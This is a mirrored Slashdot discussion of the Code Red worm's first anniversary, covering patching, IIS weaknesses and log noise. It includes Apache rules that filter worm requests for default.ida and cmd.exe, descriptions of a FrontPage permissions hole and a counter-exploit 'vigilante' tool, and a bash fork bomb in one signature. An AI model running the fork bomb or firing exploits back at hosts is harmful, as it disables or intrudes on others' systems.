Slashdot Mirror


Happy Birthday Code Red

totallygeek writes: "One year ago today (July 19, 2001), more than 359,000 computers were infected with the Code Red worm in less than 14 hours. At the peak of infection, more than 2,000 new machines were infected each minute. Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since. For the first time, systems running the Apache web server were getting requests for a document called "default.ida". Here we are a year later, and my web log shows an average of forty-two requests per day for default.ida over the last five days. To really appreciate the spread of this program, look at this animated image."

134 of 364 comments (clear)

  1. IIS is sorta like an STD by cbone00 · · Score: 4, Funny

    It is the gift that just keeps on giving.

    1. Re:IIS is sorta like an STD by Verizon+Guy · · Score: 2, Insightful

      Unfortunately, if vigilant admins set up their severs properly -- i.e., disable unused script mappings (like I did ;-), this never would have happened, bug or no bug, worm or no worm.

      --

      Aw, fuck it. Let's go bowling. - The Big Lebowski

    2. Re:IIS is sorta like an STD by thesolo · · Score: 4, Insightful

      Unfortunately, if vigilant admins set up their severs properly -- i.e., disable unused script mappings (like I did ;-), this never would have happened, bug or no bug, worm or no worm.

      Yeah, that's fine and dandy for those who don't need the IDA, et all mappings; but what of those people who DO use them?! You know, a lot of those corporate servers that were hacked had those script mappings set for a reason, i.e. they were using them.

      That's great that you knew better than to keep the default script mappings, but what about people who needed them?? It would have been a lot nicer if Microsoft had written a secure server in the first place instead. Even the most vigilant sysadmin would still get infected running IIS if he needed to use the IDQ & IDA mappings. In short, don't blame the sysadmin, because it's not always their fault.

    3. Re:IIS is sorta like an STD by ostiguy · · Score: 2

      Uh, you could either disable them, or, you could have patched when the patch came out, or even two weeks after the patch came out. You just can't sit around and do nothing - ie, having thrown the cd in, installed the os, and made the web server serve pages is not an acceptible definition of making a web server.

      Patching and/or disabling is a way of life - be it OpenBSD, or Windows 2000.

      ostiguy

    4. Re:IIS is sorta like an STD by VivianC · · Score: 2

      Uh, you could either disable them, or, you could have patched when the patch came out, or even two weeks after the patch came out. You just can't sit around and do nothing...

      Ok, I accept your point about having to keep things patched. But have you ever had to regression test a patch on 50 servers each running at least two applications across 100 departments in a large corporate environment? Sure it's simple if you have one server using IIS for only web pages.

      Still, it was mostly home users on poorly configured NT boxes that helped the problem grow. I'll even admit that my home NT server that serves up the family webpage was hit, but I had it cleaned out in a matter of hours. I wasn't using Index Server and didn't know it was running by default. I think that was the main issue.

      --
      Viv

      Gmail invites for ip
  2. And how fitting... by Jester99 · · Score: 5, Funny

    ...that on the anniversary of an attack which paralyzed servers dead in their tracks, we hear the far-away screams of agony from the lone sysadmin of missingleftsocks.com as 100,000 slashdotters pillage his machine simultaneously.

    1. Re:And how fitting... by totallygeek · · Score: 5, Funny
      .

      And how fitting that on the anniversary of an attack which paralyzed servers dead in their tracks, we hear the far-away screams of agony from the lone sysadmin of Missing Left Socks as 100,000 slashdotters pillage his machine simultaneously.

      That is me, and yeah *OUCH*, I am feeling it.

    2. Re:And how fitting... by loconet · · Score: 2, Interesting

      Hey .. why dont u post some of the log entries ...to see for the first time how a webserver sees the /. effect :)

      --
      [alk]
    3. Re:And how fitting... by Monkelectric · · Score: 2

      umm, you did it to yourself, seeing as you submitted the article :)

      --

      Religion is a gateway psychosis. -- Dave Foley

  3. I wouldn't worry about it. by colmore · · Score: 5, Funny

    Don't worry about Code Red and related problems. I'm sure Microsoft will fix everything before they start storing our National ID information.

    --
    In Capitalist America, bank robs you!
  4. Sorry. by ryanr · · Score: 5, Interesting

    One year anniversary was last week some time. We had been running DeepSight (nee ARIS) in a test mode at the time, and actually detected some test runs of Code Red about a week before the big outbreak.

    Folks will notice though that the fixed version of Code Red I (CodeRed.B) is still going. Picked up a couple of hits today.

  5. I'm still getting hit as well by 1gig · · Score: 2

    My server is still getting hit by code red infected
    servers on the avarage of every 5min. It would seem
    that after all of this time people would clean up their servers. What really bothers me is some of the machines hitting me are commercial web sits verses the home machines.

  6. What about Morris? by sconeu · · Score: 5, Insightful

    Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since

    Granted, the 'Net was a lot smaller, but what about the Morris worm?

    --
    General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
    1. Re:What about Morris? by MavEtJu · · Score: 2

      At least the Morris worm was gone within a month...
      *sob*

      --
      bash$ :(){ :|:&};:
    2. Re:What about Morris? by Weffs11 · · Score: 2, Interesting

      I was curious, so I did some research on what teh Morris Worm was. (I was 4 at teh time it was released)

      All About Morris
      Wikipedia
      It seems that a college kid wrote a small prgram to propagate itself to as many computers as it could, and try to run in the background unnoticed. But due to a bug(s) it copied itself manytimes over and ran multiple times on teh same machine, causeing to slow to a point of being unusable.

      It infected 6,000 VAX machines in November of 1988.

      Gotta love Google

    3. Re:What about Morris? by David+Off · · Score: 2, Insightful

      I was working for Siemens at the time as a young Unix hacker (siesoft.co.uk).

      The Morris worm was slowed down by the speed of the Internet... we had a 64kbps connection to ICL. We managed to pull our link to the next before we got affected. It was really quite exciting at the time, following the Usenet links as people pulled the Morris worm apart and analysed it byte by byte.

      In the end we were probably affected for around 3 days. We first realised there was a problem as Usenet dried up... we used to take all newsgroups with a feed of around 1000 posts per day! This slowed to a trickle during the 'attack'.

      Things got back to normal again as you really had to have people who knew what they were doing to get Unix and Vax systems on the 'net back then. Also there were nowhere near as many wankers online, even as a % of the total population. We were there in a spirit of cooperation and discovery. Happy days.

      David

    4. Re:What about Morris? by CharlieG · · Score: 2

      Newbie :-)

      I remember not being able to send email to my wife.

      BTW "The Kid" happened to be the son of one of the main security geeks at the NSA

      --
      -- 73 de KG2V For the Children - RKBA! "You are what you do when it counts" - the Masso
    5. Re:What about Morris? by JordoCrouse · · Score: 2

      BTW "The Kid" happened to be the son of one of the main security geeks at the NSA

      Yeah, the guy who invented the Unix password crypto scheme in the first place:

      http://cm.bell-labs.com/cm/cs/who/dmr/crypt.html

      Those who do not study history are doomed to repeat it.

      --
      Do you have Linux and a DotPal? Click here now!
    6. Re:What about Morris? by blair1q · · Score: 2

      Prosecuting Robert Morris sent a strong message that has controlled this sort of antisocial behavior.

      --Blair
      "I need a Zantac."

  7. Well, at least it was good pizza that night... by SClitheroe · · Score: 5, Interesting

    It really was good pizza...and it was quite a bit of fun riding skateboards around the corporate HQ at 2:30am in the morning...

    Seriously, though, it also taught the company I work for a serious lesson about staying on top of this kind of stuff. We had just finished a 2 month project to secure our web servers, but we were still bound by our traditional change management processes - 7 days notification for an outage, and testing of all changes documented and submitted for approval in advance. At the time Code Red hit, I had sent a note saying "we've really got to get this hotfix applied", but we were bound by the process, and we got burned.

    Needless to say, when an urgent hotfix comes out now, it takes almost no convincing to get it applied ASAP. If it breaks a web app or two, well, that's the risk we take. We'd rather look for signoff from the business to unapply a hotfix that breaks something, than spend a few days trying to secure the approval beforehand. It's a lot cheaper in the long run to troubleshoot the effects of a hotfix that has unintended side effects than it is to watch your entire web farm get demolished by a worm.

    Yes, we run IIS, and I suppose you could harp about how this could all be avoided by running Apache, but the point is that without a policy, strategy, and process for rapidly deploying defenses against net-born attacks, no system is invulnerable.

    1. Re:Well, at least it was good pizza that night... by SClitheroe · · Score: 2

      I think you've missed the point of my post. Whether it's IIS, Apache, WU-FTP, SSH, BIND, SendMail, whatever, if you don't keep on top of the current issues for the services you run, and if you don't have an effective plan to handle the management, oversight and timely maintenance of those systems, you will end up getting burned at some point.

      It's not about how frequently exploits and/or fixes arise for the particular services you run - it's all about how quickly and effectively you can deploy defensive measures, and that ultimately comes down to the human element.

    2. Re:Well, at least it was good pizza that night... by 1g$man · · Score: 2

      but we were still bound by our traditional change management processes - 7 days notification for an outage, and testing of all changes documented and submitted for approval in advance.

      Well corporate policy or not it's pretty freakin' irresponsible for not having a security patch that was out more than 25 days before Code Red even hit. (Not to mention anyone who followed Microsoft's best practices for IIS wouldn't have been hit anyway).

      Apache, IIS, MSSQL, PHP, BIND, OpenSSH--it doesn't matter... they all gotta be patched.

    3. Re:Well, at least it was good pizza that night... by Tony-A · · Score: 2

      It's not about how frequently exploits and/or fixes arise for the particular services you run - it's all about how quickly and effectively you can deploy defensive measures
      It's not about how many people are shooting at you, it's all about how quickly you can duck.

    4. Re:Well, at least it was good pizza that night... by SpaceJunkie · · Score: 2, Interesting

      Except there are patches I would be a little careful with as well. If you choose to run XP, there is a patch that makes the Guided Mode available through Nat and firewalls - tunneling effectively. Surely if someone has these in place- they sure as hell dont want such an obvious hole wide open...

      I sometimes use VNC - but restrict it through a firewall so only a specific IP(my work PC) can communicate with it, in specific timeframes. It also does not run as default - I use SSH to start it, also Ip filtered and time restricted. Which I think is all possible in windows as well(have not tried that). Oh - And it does not run as ROOT. I restrict root to console only.

      You see the other problem is that XP and 2k may well be running security vulnerable services without the user knowing -as default setup. Which is why XP is so bad as a joe user OS- it has more security holes than my socks...Unless you are competant to configure and patch it - and lets face it even many trained MIS staff miss them - let alone Joe Shmoe Wordprocessor who bought an XP box from PC world.

      --
      OrionRobots.co.uk - Robots From sol
    5. Re:Well, at least it was good pizza that night... by Ben+Hutchings · · Score: 2

      Sure, I've seen a patch. I've also seen announcements of new binary packages from vendors that package it. What more do you want?

  8. Re:Logs Clogged by odaiwai · · Score: 5, Informative

    That's the nimda worm. Running apache, you're immune to it, but it makes a mess in your logs.

    One thing to do is have a cron job to scan your logs and if it sees any of the above, add the ip to an iptables blocklist. At least that way, you only get hit once by it from each infected host.

    Or you could use apache's rewrite rules to forward all attacks to www.micrsoft.com, but I wouldn't recommend that.

    dave

  9. Animation Mirror Sites by morcheeba · · Score: 5, Informative
    1. Re:Animation Mirror Sites by psocccer · · Score: 2

      I don't know why the original poster didn't list the mirror information, after all the gif has the site name printed on it, but oh well. The mirrors are a lot faster, and I think it should be pointed out that the gif is 4.1M and the mov is 13.4M

  10. Happy Birthday? by SoupaFly · · Score: 4, Insightful

    What exactly are we supposed to celebrate? The inept SAs that have failed to patch their systems? The sad lack of software development skills and abundance of corporate greed that combine to push shoddy software upon millions of users?

    Maybe we should celebrate the resiliency of the Net. The fact that while attacks on systems continue to come daily, and at a seemingly increasing rate, everything still works most of the time.

    --knowledge, not information, is power

    1. Re:Happy Birthday? by vondo · · Score: 5, Funny
      What exactly are we supposed to celebrate?
      Ahh, a young person who thinks "birthday" == "celebration." How wrong you are. Wait 'til you hit 30 or 40, my friend.
    2. Re:Happy Birthday? by DeepZenPill · · Score: 3, Insightful

      I think the belief that birthday == celebration in each age group is represented with a bell shaped curve. Shit, when I'm 89, senile, and living in my own filth, my next birthday will be a celebration for me. That much more closer to escape!

  11. IRC quotefile entry by Skreech · · Score: 5, Funny

    From the official #python@OPN quotefile:

    <skreech> I'm gonna miss code red when its gone, my webpage has never gotten this many hits before

  12. Lots of infected hosts still out there by ActMatrix · · Score: 4, Interesting

    DShield's Code Red Anniversary Page has an interesting graph showing scanning activity they've detected from active hosts since the beginning of this year. Some 35,000 IPs still continue to regularly come alive around the beginning of the month, quiet down towards the middle, and then resume the cycle again - the numbers have remained remarkably consistent.

    1. Re:Lots of infected hosts still out there by dimator · · Score: 2

      This is just my machine, not used for anything except random hacking, but:

      # echo "`grep cmd\.exe access_log | wc -l` / `wc -l access_log | sed 's/[^0-9]//g'`" | bc -l .81350976916651386427


      All that wasted bandwidth...

      --
      python -c "x='python -c %sx=%s; print x%%(chr(34),repr(x),chr(34))%s'; print x%(chr(34),repr(x),chr(34))"
  13. Alternate URL for animated image by totallygeek · · Score: 3, Informative
    1. Re:Alternate URL for animated image by millette · · Score: 2, Informative

      not sure which image you got. I was able to download the 4.2 GiB file and converted that to a mpeg4 (overkill, but I don't have anything to mess with gifs, I just recorded a "playback"). I've put the 400 KiB result here, if anyone is interested: http://tools.waglo.com:8888/codered.wmv if anyone is interested. Oh, you're gonna have to right-click, shift-click, whatever you have to do to download it. Like I said, it's just a quick and dirty job, and I'm not gonna leave it up longer then I have too.

  14. Re:Logs Clogged by timecop · · Score: 5, Informative

    many months ago when default.ida was the rage around the www, I added these couple lines to my httpd.conf:

    SetEnvIf Request_URI "^/default.ida" dontlog
    ErrorLog logs/254-error_log
    CustomLog logs/254-access_log combined env=!dontlog

    check out SetEnvIf in apache docs, you can do even better than this.

  15. Looking at my records by Neolithic · · Score: 2, Insightful

    June 18, 2001 14:29:28 -0700
    Microsoft Security Bulliten MS01-033

    June 18, 2001 14:36:53
    q300972_w2k_sp3_x86_en.exe

    When did Code Red hit? Did I bother to notice? Did I bother to record? No. It didn't affect me much.

    1. Re:Looking at my records by 1g$man · · Score: 3, Insightful

      No, he's pointing out that the patch was available a full month before the worm hit.

      A full month.

      And, being a competent admin, his boxen weren't hit.

    2. Re:Looking at my records by spongman · · Score: 5, Informative
      no, he's right:

      6/18: MS sends MS01-33: Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise - Run code of attacker's choice.

      7/18: CodeRed hits, those of us who installed the MS01-33 patch laugh.

      7/30: MS et al send out another alert uring people to read MS01-33 and install the patch.

    3. Re:Looking at my records by spongman · · Score: 2, Insightful
      yup, I think this says two things:

      1. (most) IIS sysadmins are a bunch of lazy/ignorant fools who needed to get their backsides kicked to get them to heed the MS-SEC mailings.
      2. the worm writer did an excellent job.
    4. Re:Looking at my records by sheldon · · Score: 2

      Or they were like me and had removed the .ida ISAPI filter from their web server config, as identified in Microsoft's IIS checklist which had come out nearly a year previous.

      Didn't apply the patch when it came out, and still didn't have any issues when CodeRed hit.

  16. times out by bilbobuggins · · Score: 5, Insightful
    To really appreciate the spread of this program, look at this animated image.

    Is it slashdotted or is that the demonstration?
    ;)

  17. My school district's by DMDx86 · · Score: 5, Informative

    Server is still infected with a IIS virus (though not Code Red). Here it is

    I sent them an email - almost a year ago in fact. They just brushed me off and gave a rather pathetic excuse ("the box is too slow to run Norton").
    You can read the e-mail here.

    Of course, these are the same people who run a trouble ticket server on the district wide WAN that any old joe at school can access and see where the security issues are.

    1. Re:My school district's by Qnal · · Score: 3, Informative

      Weird, I found a sadmind/IIS worm infection on Texas Community college website, I sent an email to the administrator but never got a reply back. I checked and its fixed now though.

      Another rampant problem with IIS that is still VERY VERY widespread is older Servers IIS 4.0 mainly, and some 5.0, that have FrontPage extensions installed, have botched NTFS permissions on the "Front Page Web".

      I don't know if anyone has noticed this, but if you have Microsoft Front Page installed on your browser, a little button shows up on your Internet Explorer toolbar, the default is usually the Word Icon, as in edit this page with Microsoft Word, but if you have Front Page installed on your computer, you can select Edit with FrontPage, and FrontPage will attempt to communicate with the Web Server for remote authoring, now if this web server is an IIS server, and has Front Page Extensions installed for remote authoring, and the NTFS permissions have not been set correctly, it will give you, the IUSR_ (Internet User) account FULL Priveleges to change the "Front Page web".

      As of now, I know 3 high profile companies who have this issue with their sites WIDE OPEN. Anyone can waltz in and alter their website, using the IUSR_ account. I would like to let them but how do I know they are not going to accuse me of something I didn't do, and just happened to stumble on.

      Oh well.

    2. Re:My school district's by DMDx86 · · Score: 2

      FWIW, I sent this to the superintendent several months ago (this was several months after I notifed the webmaster people who dropped the ball). All they did was 403 the /images (which contained the defacement), but it still is in other directories. That was because it was /images that I sent them the link to. I just love MCSEs!!

    3. Re:My school district's by shepd · · Score: 2

      Heh, think that's bad?

      You'd be amazed at the places still running old apache versions despite the ominous warnings!

      (Yes, I found the lwn link very ironic too, but not as funny as this)

      --
      If you could be told what you can see or read, then it follows that you could be told what to say or think - BoC
    4. Re:My school district's by DMDx86 · · Score: 2, Informative

      There is an Apache fix that will patch the older versions of Apache. That is what I did on my webserver.

    5. Re:My school district's by DMDx86 · · Score: 2

      I can assue you that is a real e-mail from a Fort Bend ISD tech.

      I remember microsoft.com had a quote from a guy who was the head IT person over in FBISD on how MS software really made things wonderful for the students and staff members. The guy's name was something Pike. I don't think he works here anymore. If I find the page, I'll post the URL.

      The guy's name (in the email) is Doug Wormhoudt. I just removed the e-mail addys as a temporary precaution.

      FBISD is a 100% NT shop, though I know they have an AS/400 for student records and someone "in the know" tells me that they have a linux machine sitting on the network.

      For the record, I don't have any interest in trying to break into these systems. (Since I know someone will try to accuse me of).

    6. Re:My school district's by dsb3 · · Score: 2

      In addition to apache code patches there is a module mod_blowchunks, and also a perl handler (also named blowchunks) that will nullify the attempts.

      Plus, some proxying firewalls (raptor happens to be one) will prohibit the dangerous requests from being passed through to apache. For that matter, a patched apache with a mod_proxy redirect to the original webserver will protect, but pass through the original server's ident string.

      Just looking at an advertised daemon version identifier is never enough to tell if it is vulnerable.

      --

      Slashdot? Oh, I just read it for the articles.
    7. Re:My school district's by Pig+Hogger · · Score: 2
      For the record, I don't have any interest in trying to break into these systems. (Since I know someone will try to accuse me of).
      I am not a crook

      November 17, 1973

    8. Re:My school district's by actiondan · · Score: 2

      There is an Apache fix that will patch the older versions of Apache. That is what I did on my webserver.

      You might want to check out the advisory

      Apache don't seem to think that the patch is really enough (emphasis mine):

      "Note that early patches for this issue released by ISS and others do not
      address its full scope.
      "


      "The Apache Software Foundation has released versions 1.3.26 and 2.0.39
      that address and fix this issue, and all users are urged to upgrade
      immediately
      ."


      The Apache http server page also adds:

      "If, for any reason, you are unable to upgrade at this time, as a minimum, this patch for httpd 1.2.0-1.3.22 should be applied to the source code."

      Apache webmasters beware: Don't fall into the trap that IIS webmasters fell into. If you fail to address security issues like this fully, you could end up making your webserver of choice look bad.

    9. Re:My school district's by DMDx86 · · Score: 2

      Yes, it was showing that all along.

  18. im gonna sing by hagar� · · Score: 2, Funny

    "Happy Birthday Code Red, Happy Birthday Code Red, Bill sucks with his coding, Happy Birthday Code Red."

    Now blow out the flaming servers, and make a wish.

    --
    Insert something insightful here, or I'll insert something painful there.
  19. Argh by Myuu · · Score: 3, Interesting

    No one ever notes that the CRW absolutely rape cisco dsl routers.

    At its peak, Qwest had a 5 hour hold time for people who's cisco was taken down by the vuln.

    Incidently, the fix was killed more routers.

    --

    forget it.
    1. Re:Argh by jhirbour · · Score: 3, Interesting

      For that matter all the Netopia R 7100/7200 series were brought to a halt by CR also....

    2. Re:Argh by thrig · · Score: 2

      Unless one had an old Crisco 675 set to bridging mode, despite QWurst's best efforts to get one to use the brain-dead NAT mode they have all the new routers set to...

      Oh, and some HP printers were unhappy about Code Red or Nimda; turns out they run a webserver by default (and FTP, telnet, LPD, JetDirect, and lord only knows what else) that got screwed up before any access control took place. Yay firmware updates.

    3. Re:Argh by loraksus · · Score: 2

      Heh, you worked qwest dsl support too eh?
      I kept a record of cisco 67xs toasted - 78.
      u?

      --
      1q2w3e4r5t6y7u8i9o0pqawsedrftgthyjukilo;p'azsxdcfv gbhnjmk,l.;/
  20. Re:Logs Clogged by Dahan · · Score: 2
    Or you could use apache's rewrite rules to forward all attacks to www.micrsoft.com, but I wouldn't recommend that.

    I doubt the worm is going to bother to follow redirect requests.

  21. A year later, no service pack 3 for Win2K by Animats · · Score: 2, Insightful
    The most recent service pack for Windows 2000 is dated May 2, 2001. There's a Security Rollup Package dated January 30, 2002. Nothing since then, despite the "month of effort" Microsoft supposedly put into fixes earlier this year. Whatever happened to that, anyway?

    Corporate America mostly runs Windows 2000. That's the system that needs security and reliability most. And where's Microsoft?

    1. Re:A year later, no service pack 3 for Win2K by GroovBird · · Score: 2

      Uhm,

      I think you better check your Windows Update. I think you'll have 20 or so security fixes to install.

      Better luck bashing next time!

      Dave

  22. Click Here? by Myriad · · Score: 5, Funny
    Click here [missingleftsocks.com]

    That's the first time I've seen someone getting smashed by the /. effect, and coming back asking for more!

    --
    "They do not preach that their god will rouse them, a little before the Nuts work loose." Kipling, 'The Sons of Martha'
  23. apache attacklog analyser? by YellowSubRoutine · · Score: 2, Interesting

    Is there a apache log analyser that shows nifty graphs of all the different kinds of attacks somewhere out there?

    That'd be cool :)

    1. Re:apache attacklog analyser? by JediTrainer · · Score: 2

      I've developed WormScan, a Java-based program which does exactly this. Have a look at the
      Freshmeat listing. If you're interested, you could follow the link to my home server's graphs (be nice - it's not a terribly fast link!)

      --

      You can accomplish anything you set your mind to. The impossible just takes a little longer.
  24. go to the source for the image? by cetan · · Score: 2

    It says right on the image, caiga.org so
    http://www.jump.org.uk/caida_code_red_animations/n ewframes-small-log.gif
    go there...

    Of course, that is a 4.1 MB GIF file.

    --
    In Soviet Russia...michael would be rotting in Siberia!
  25. Re:No mac web os9 or older servers EVER exploited by ryanr · · Score: 2
  26. I'm sending this to local newspapers. by Mustang+Matt · · Score: 2

    They will have a field day with it!

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  27. What pisses me off by Com2Kid · · Score: 4, Informative

    What pisses me off is that when an early exploit was detected awhile back (err, many years), somebody released worm to go around and fix it but THEY where the ones who got in trouble with the FBI, thus setting a precident in the future saying that the computer community was not allowed to take all neccisary steps to fix problems that may pop up.

    Kind of killed off community effort right there. >;(

    1. Re:What pisses me off by jeffy124 · · Score: 3, Interesting

      that's definitely interesting. Makes me wonder -- there was that Code Red Vigilante program written up. It was basically a Java program (speed issues aside, it was for maximum cross-platformness) that listens on port 80 for Code Red exploit attempts, then fires back at that machine, using the same default.ida exploit, causing a window to pop-up on the infected machine with information about what's wrong, what to do about it, where to go for more information, etc.

      The author made the program available on his website, so that anyone not running a webserver could run CRV themselves. I know the author also got a lot of thank you emails from infected users who thought they weren't vulnerable because of misinformation that was going around about the worm.

      As to your FBI story, I think the problem there was that the worm-patching-another-worm was making changes to the system without permission of the admin. But it makes me wonder how the FBI may have reacted to the CRV program. Given that the FBI has better educated themselves on computer hacking issues (especially since the witchhunts following the AT&T outage in the early 1990s), my guess is that they saw it as no biggie because it made no permanent changes to the infected machine.

      --
      The One Rule Of Chess You'll Ever Need: Don't play someone who carries a kit in their bookbag.
  28. Re:Logs Clogged by mbogosian · · Score: 3, Interesting

    I doubt the worm is going to bother to follow redirect requests.

    Besides https://microsoft.com/ would chew up more cycles on their end....

    All kidding aside, with a redirection rule, the worm may not follow it, but at least it cleans up the logs a little. Plus, Apache's default error page and it's default redirect page are about the same size (for the bandwidth conscious).

    Just add the following to your httpd.conf at the root level (so they are inherited by all of your <VirtualHost>s as well):

    RedirectMatch /default.ida https://www.microsoft.com/
    RedirectMatch /robots.txt https://www.microsoft.com/
    RedirectMatch /root.exe https://www.microsoft.com/
    RedirectMatch /cmd.exe https://www.microsoft.com/

    For those of you who think these are a bit too general (they match quite a few URLs), or if you have legitimate destinations which are matched by the above patterns, I'm sure they can be modified to suit your needs....

  29. Post the URLs by Mustang+Matt · · Score: 5, Funny

    Someone will let them know... hehehe.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  30. Re:Logs Clogged by odaiwai · · Score: 2

    Apache allows you to rewrite incoming requests according to a set of rules. These are not the same as a page refresh in a META tag.

    dave

  31. I don't. by Mustang+Matt · · Score: 2

    I'm actually in Missouri.

    I sent it to TV instead: click2houston.com
    I bcc'd you on the email.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  32. Re:Interesting... by NeuroManson · · Score: 4, Insightful

    Considering that despite the worm being in the wild for over a year, that either installing a *nix varient, applying a service pack, or simply running a decent antivirus app were alternatives to being infected? All of which are conscientious actions of the user, admin, etc? All actions that are made on the part of the user? All options undertaken or not by the user?

    Sounds an awful lot like the fault of the user to me...

    --
    Just because you can mod me down, doesn't mean you're right. Shoes for industry!
  33. Re:All of this kvetching about bad sysadmins, and by NeuroManson · · Score: 3, Insightful

    Does that mean, therefore, that anyone running Linux without the fix for the 1i0n (or however that's spelled) exploit, can sue Linus Torvald, Redhat, et al for damages? How about anyone running a Micro$oft OS that has an exploit taken advantage of with a worm, virus, etc, that was created on a Linux system with the sole purpose of damaging as many M$ OSs as possible?

    If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you? Or do you sue (or at least lock up) the one who pointed the gun at you and pull the trigger? Do you go around your neighborhood, testing each doorknob to see if the house is locked, then rob and burn down each house that isn't? Is it the homeowner's fault for not locking the door, or you for entering in the first place?

    If you want to hold anyone responsible, try the guy/s who code viruses and worms... Anyone with sufficient pathological incentive to wreak havoc and trash a computer system (or, basically, anything else) will do so...

    Responsibility goes two ways, on one hand, those who have known for a substantial period of time that there was a problem that needed addressing, and those who take advantage of that problem... The net makes this all more obvious, at least to those of us with a smidgen of common sense...

    --
    Just because you can mod me down, doesn't mean you're right. Shoes for industry!
  34. Re:Power of slick advertising by 1g$man · · Score: 3, Insightful

    If you think Linux is a "Safe Haven" then you're just asking for your ass to be handed to you.

    If you think you can put ANY server up on a public network and not maintiain it--you WILL be in for a rude awakening one day.

  35. Re:All of this kvetching about bad sysadmins, and by I_redwolf · · Score: 2

    You are talking apples and oranges. My gov't will not distribute cd's with a fix for Microsoft software. If it's in public interest my gov't will tell Microsoft it must distribute cd's with a fix for Microsoft software. Thats the way it will work, everything else you seapk of isn't relevant to this argument at all.

  36. Re:Power of slick advertising by _Sprocket_ · · Score: 4, Insightful

    Just a side note, if anyone ever came up with a virus that was as devastating to apache as code red was to IIS, I think Linux would be doomed. If you expect something to fail (Microsoft products) then you don't care too much when they do. But if a product is touted as being absolutely secure and stable (Linux/Apache) then when it does screw up big, it will probably be it's death. The higher up you are, the further you have to fall.
    Tnere has to be some fundimental shifts in the environment for this to happen. You see - Linux (and Solaris) have had their own worms around the same time period as Code Red. They could have been just as devistating - but they weren't. They died quickly and went away.

    Of course - that's not to say it can't happen to Linux in the future. Some changes that would have to take place would include:

    1) An increase in un-administered machines (which is possible as more Linux machines go in to service and are promptly forgotten about or appropriate support stuff aren't also put in place).

    2) More distributions installing services by default without user knowledge (which most distros seem fairly resistant to doing - but not all).

    3) Patches that become as devistating as the security threat they attempt to mitigate (I've yet to see this and would think that any organization that constantly produced dangerous patches / replacement packages would find their user base fleeing to another distribution).
  37. Re:Interesting... by Tony-A · · Score: 5, Funny

    Microsoft still insists that such things are the fault of the user, not the software.
    Microsoft is right. The user is using Microsoft software.

  38. Ya think? by NFW · · Score: 4, Interesting
    I got curious about the default.ida hits I was getting my web server one day, so I took a look at the systems at a bunch of the IP address the attacks were coming from. I found mostly unix systems, a couple I couldn't ID (not that I tried much beyond telnetting to ports 25 and 80), and only a couple of Microsoft systems.

    This was not an exhaustive search, nor a statistically significant sample group, and dynamic IP allocation muddled the results a bit, but it was enough to make me wonder. How many of the 'code red attacks' these days are really script kitties with unix boxes? My guess is they account for most of them.

    Has anyone looked into this for more than the 15-20 minutes I put into it?

    --
    Build stuff. Stuff that walks, stuff that rolls, whatever.
    1. Re:Ya think? by ninjaz · · Score: 3, Informative

      I just looked into the 22 code red hits one of my hosts has gotten from midnight to 9am today.

      The results are:

      5 down
      14 reported as a Windows variant by nmap
      2 unknown
      1 Linux

      I looked into the 2 unknown results a bit more. Both respond on port 80 with an IIS banner and ASPSESSIONID cookies. One of them has a Serv-U banner for ftp as well.

      Interestingly, one of them (the one w/o Serv-U) is a .gov.cn site.

      The Linux result answers on port 443 as a vulnerable version of Apache on someone's firewall in Italy. This is likely being used as a launchpad for attacks.

      So, from what I gather, the bulk of the ongoing Code Red attacks are from Windows machines with extremely negligent administrators.

    2. Re:Ya think? by NFW · · Score: 2
      Darwin2k is cool, thanks for the pointer. I've tinkering with some GA stuff lately, but with the weather being so nice these days I'm not getting things done at the rate I was during the winter... I'm hoping to get GA-based motion control working in the next couple months, but only time will tell.

      Anyhow, back to the topic at hand....

      NAT could definitely muddle the results a bit, but I doubt it would make a huge difference. For a CR-infected box behind a NAT box, one of two things is probably true: either the NAT box forwards incoming port 80 connections to the IIS box (in which case you get "Server: Microsoft-IIS/X.X" in the http response headers), or the NAT box handles port 80 itself.

      IIS boxes doing intranet duty behind a NAT firewall that runs Apache could appear as Apache boxes to the outside world, but those IIS boxes are only going to get CRed if attacked by another CR-infected box behind that firewall. I'm sure that probably happens now and then, but I doubt that particular scenario accounts for any significant percentage of the CR attacks we're all logging.

      Then again, maybe it's foolish to assume that mostly running IIS as an intranet server behind a NAT box that runs Apache, has also taken steps to prevent the rest of their IIS boxes from getting CRed. But still, even just running IIS behind a NAT box that runs Apache seems like relatively unusual scenario. What percentage of companies out there are smart enough to relegate IIS to intranet duty while running Apache on their public web server? :-)

      --
      Build stuff. Stuff that walks, stuff that rolls, whatever.
  39. Re:To Celebrate the party... by foniksonik · · Score: 2

    It would be much better if it went around to all the Windows servers out there and did the same. Add in all the outlook clients and exchange servers and you've truly worked a miracle.

    --
    A fool throws a stone into a well and a thousand sages can not remove it.
  40. 76 Code Red hits in 2 months by rossz · · Score: 2, Insightful

    I guess I should consider myself lucky.

    Total/Unique
    Nimda hits: 6213/134
    CodeRed hits: 76/76

    Damn annoying, though.

    --
    -- Will program for bandwidth
    1. Re:76 Code Red hits in 2 months by JediTrainer · · Score: 3, Interesting

      My home server, running WormScan:

      Nimda - 319242 attacks
      CodeRed 2 - 15488 attacks
      CodeRed - 359 attacks

      All from 5777 unique hosts.

      --

      You can accomplish anything you set your mind to. The impossible just takes a little longer.
  41. Re:Logs Clogged by Dahan · · Score: 2
    Yes, apache lets you return a redirection response (301 Moved Permanently or 302 Moved Temporarily). Yes, that's different from a meta refresh in the HTML. But no, you can't force anything to follow either of them. Like I said, I doubt if Code Red is gonna bother to follow a redirection request.

    Heck, I'd be mildly surprised if Code Red even bothered looking at the response from the server... IIRC, it just dumps the code it wants to run in the HTTP request and lets the code take care of the rest. (On the other hand, nimda does check the status code to see if the server's vulnerable to any of the attacks it tries. If you return 404s, it gives up pretty quickly, but if you return 200, it tries to do a lot more).

  42. Re:Logs Clogged by rossz · · Score: 3, Informative

    robots.txt has a legitimate use. Redirecting attempts to access it would be extremely stupid.

    When a legitimate bot such as google scans your system, it looks in robots.txt for find out where NOT to scan in case you have web pages you do not wish to be searchable.

    --
    -- Will program for bandwidth
  43. Lamer Exterminator by xixax · · Score: 2

